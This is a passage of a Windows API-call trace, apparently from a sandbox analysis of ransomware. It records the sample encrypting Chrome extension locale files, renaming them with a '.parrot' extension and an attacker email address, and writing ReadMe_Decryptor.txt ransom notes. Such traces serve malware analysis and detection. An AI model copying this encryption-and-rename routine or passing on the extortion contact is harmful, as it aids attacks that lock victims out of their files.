1 [0070.317] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.317] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.317] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.318] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.318] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x216, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.318] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.318] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.320] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.320] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xfe, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xfe, lpOverlapped=0x0) returned 1 [0070.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.320] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606848 [0070.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.320] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.320] GetLastError () returned 0x0 [0070.321] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606848 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606968 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.321] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da258 [0070.321] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.322] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x218) returned 0x615450 [0070.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da258 | out: hHeap=0x5b0000) returned 1 [0070.322] WriteFile (in: hFile=0x1fc, lpBuffer=0x615450*, nNumberOfBytesToWrite=0x218, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x615450*, lpNumberOfBytesWritten=0x18da44*=0x218, lpOverlapped=0x0) returned 1 [0070.322] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x615450 | out: hHeap=0x5b0000) returned 1 [0070.322] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x216, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.322] CloseHandle (hObject=0x1fc) returned 1 [0070.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.323] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da258 [0070.323] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.323] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da258 | out: hHeap=0x5b0000) returned 1 [0070.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160688 | out: hHeap=0x5b0000) returned 1 [0070.332] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.332] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.333] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.333] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0070.333] GetFileType (hFile=0x1fc) returned 0x1 [0070.334] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.349] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb76766c0, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb76766c0, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8403b360, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8403b360, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb7650560, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x218, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.349] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.349] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84056110, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84056110, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.349] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.349] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.349] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x12f, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.349] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.349] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.350] LockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x247, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.350] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.350] ReadFile (in: hFile=0x1fc, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.351] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.351] ReadFile (in: hFile=0x1fc, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0x12f, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0x12f, lpOverlapped=0x0) returned 1 [0070.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.351] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x23) returned 0x606cd8 [0070.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x10) returned 0x606968 [0070.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2c) returned 0x605358 [0070.351] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120c) returned 0x5cee58 [0070.351] GetLastError () returned 0x0 [0070.351] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1) returned 0x5d4960 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2) returned 0x5d4b20 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3) returned 0x5d4960 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4b20 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x6) returned 0x5d4960 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4b20 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x9) returned 0x606968 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd) returned 0x606848 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606968 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13) returned 0x5cb8c8 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x606848 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c) returned 0x60d150 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cb8c8 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x2a) returned 0x605358 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x3f) returned 0x5c7fd8 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x605358 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x5e) returned 0x60b6e8 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5c7fd8 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8d) returned 0x2240b88 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60b6e8 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0xd3) returned 0x22405e8 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2240b88 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x13c) returned 0x5da2b8 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x22405e8 | out: hHeap=0x5b0000) returned 1 [0070.352] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x248) returned 0x69a250 [0070.352] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da2b8 | out: hHeap=0x5b0000) returned 1 [0070.352] WriteFile (in: hFile=0x1fc, lpBuffer=0x69a250*, nNumberOfBytesToWrite=0x248, lpNumberOfBytesWritten=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x69a250*, lpNumberOfBytesWritten=0x18da44*=0x248, lpOverlapped=0x0) returned 1 [0070.353] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69a250 | out: hHeap=0x5b0000) returned 1 [0070.353] UnlockFile (hFile=0x1fc, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToUnlockLow=0x247, nNumberOfBytesToUnlockHigh=0x0) returned 1 [0070.353] CloseHandle (hObject=0x1fc) returned 1 [0070.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x130) returned 0x669250 [0070.354] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1c6) returned 0x5da2b8 [0070.354] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x669250 | out: hHeap=0x5b0000) returned 1 [0070.354] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\messages.json.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0070.370] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da2b8 | out: hHeap=0x5b0000) returned 1 [0070.370] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x67b258 | out: hHeap=0x5b0000) returned 1 [0070.370] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5da060 | out: hHeap=0x5b0000) returned 1 [0070.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x120) returned 0x5da060 [0070.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x140) returned 0x5da188 [0070.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4960 [0070.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x8) returned 0x5d4b20 [0070.370] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\ReadMe_Decryptor.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\readme_decryptor.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18d838, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0070.370] GetFileType (hFile=0x1fc) returned 0x1 [0070.370] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x1000) returned 0x68d248 [0070.381] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.381] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0xb76c2980, ftLastAccessTime.dwHighDateTime=0x1d5e09d, ftLastWriteTime.dwLowDateTime=0xb76c2980, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.381] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84056110, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84058820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xb769c820, ftLastWriteTime.dwHighDateTime=0x1d5e09d, nFileSizeHigh=0x0, nFileSizeLow=0x248, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json.[cryptonationusa@protonmail.com].parrot", cAlternateFileName="MESSAG~1.PAR")) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x70) returned 0x60cf80 [0070.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60cf80 | out: hHeap=0x5b0000) returned 1 [0070.381] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", fInfoLevelId=0x0, lpFindFileData=0x18dafc, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x18dafc) returned 0x600650 [0070.381] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0070.381] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x84067280, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0070.381] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0070.381] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0070.381] FindNextFileW (in: hFindFile=0x600650, lpFindFileData=0x18dafc | out: lpFindFileData=0x18dafc*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x84067280, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x84067280, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x844b1ca0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xe5, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1 [0070.381] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x20) returned 0x60d150 [0070.381] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x60d150 | out: hHeap=0x5b0000) returned 1 [0070.420] LockFile (hFile=0x28c, dwFileOffsetLow=0x0, dwFileOffsetHigh=0x0, nNumberOfBytesToLockLow=0x1fd, nNumberOfBytesToLockHigh=0x0) returned 1 [0070.420] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0070.421] ReadFile (in: hFile=0x28c, lpBuffer=0x18daa0, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x18daa0*, lpNumberOfBytesRead=0x18da44*=0x18, lpOverlapped=0x0) returned 1 [0070.421] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0070.422] ReadFile (in: hFile=0x28c, lpBuffer=0x2ea0040, nNumberOfBytesToRead=0xe5, lpNumberOfBytesRead=0x18da44, lpOverlapped=0x0 | out: lpBuffer=0x2ea0040*, lpNumberOfBytesRead=0x18da44*=0xe5, lpOverlapped=0x0) returned 1 [0070.422] RtlAllocateHeap (HeapHandle=0x5b0000, Flags=0x0, Size=0x4) returned 0x5d4960 [0070.422] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5d4960 | out: hHeap=0x5b0000) returned 1 [0070.422] RtlAllocateHeap 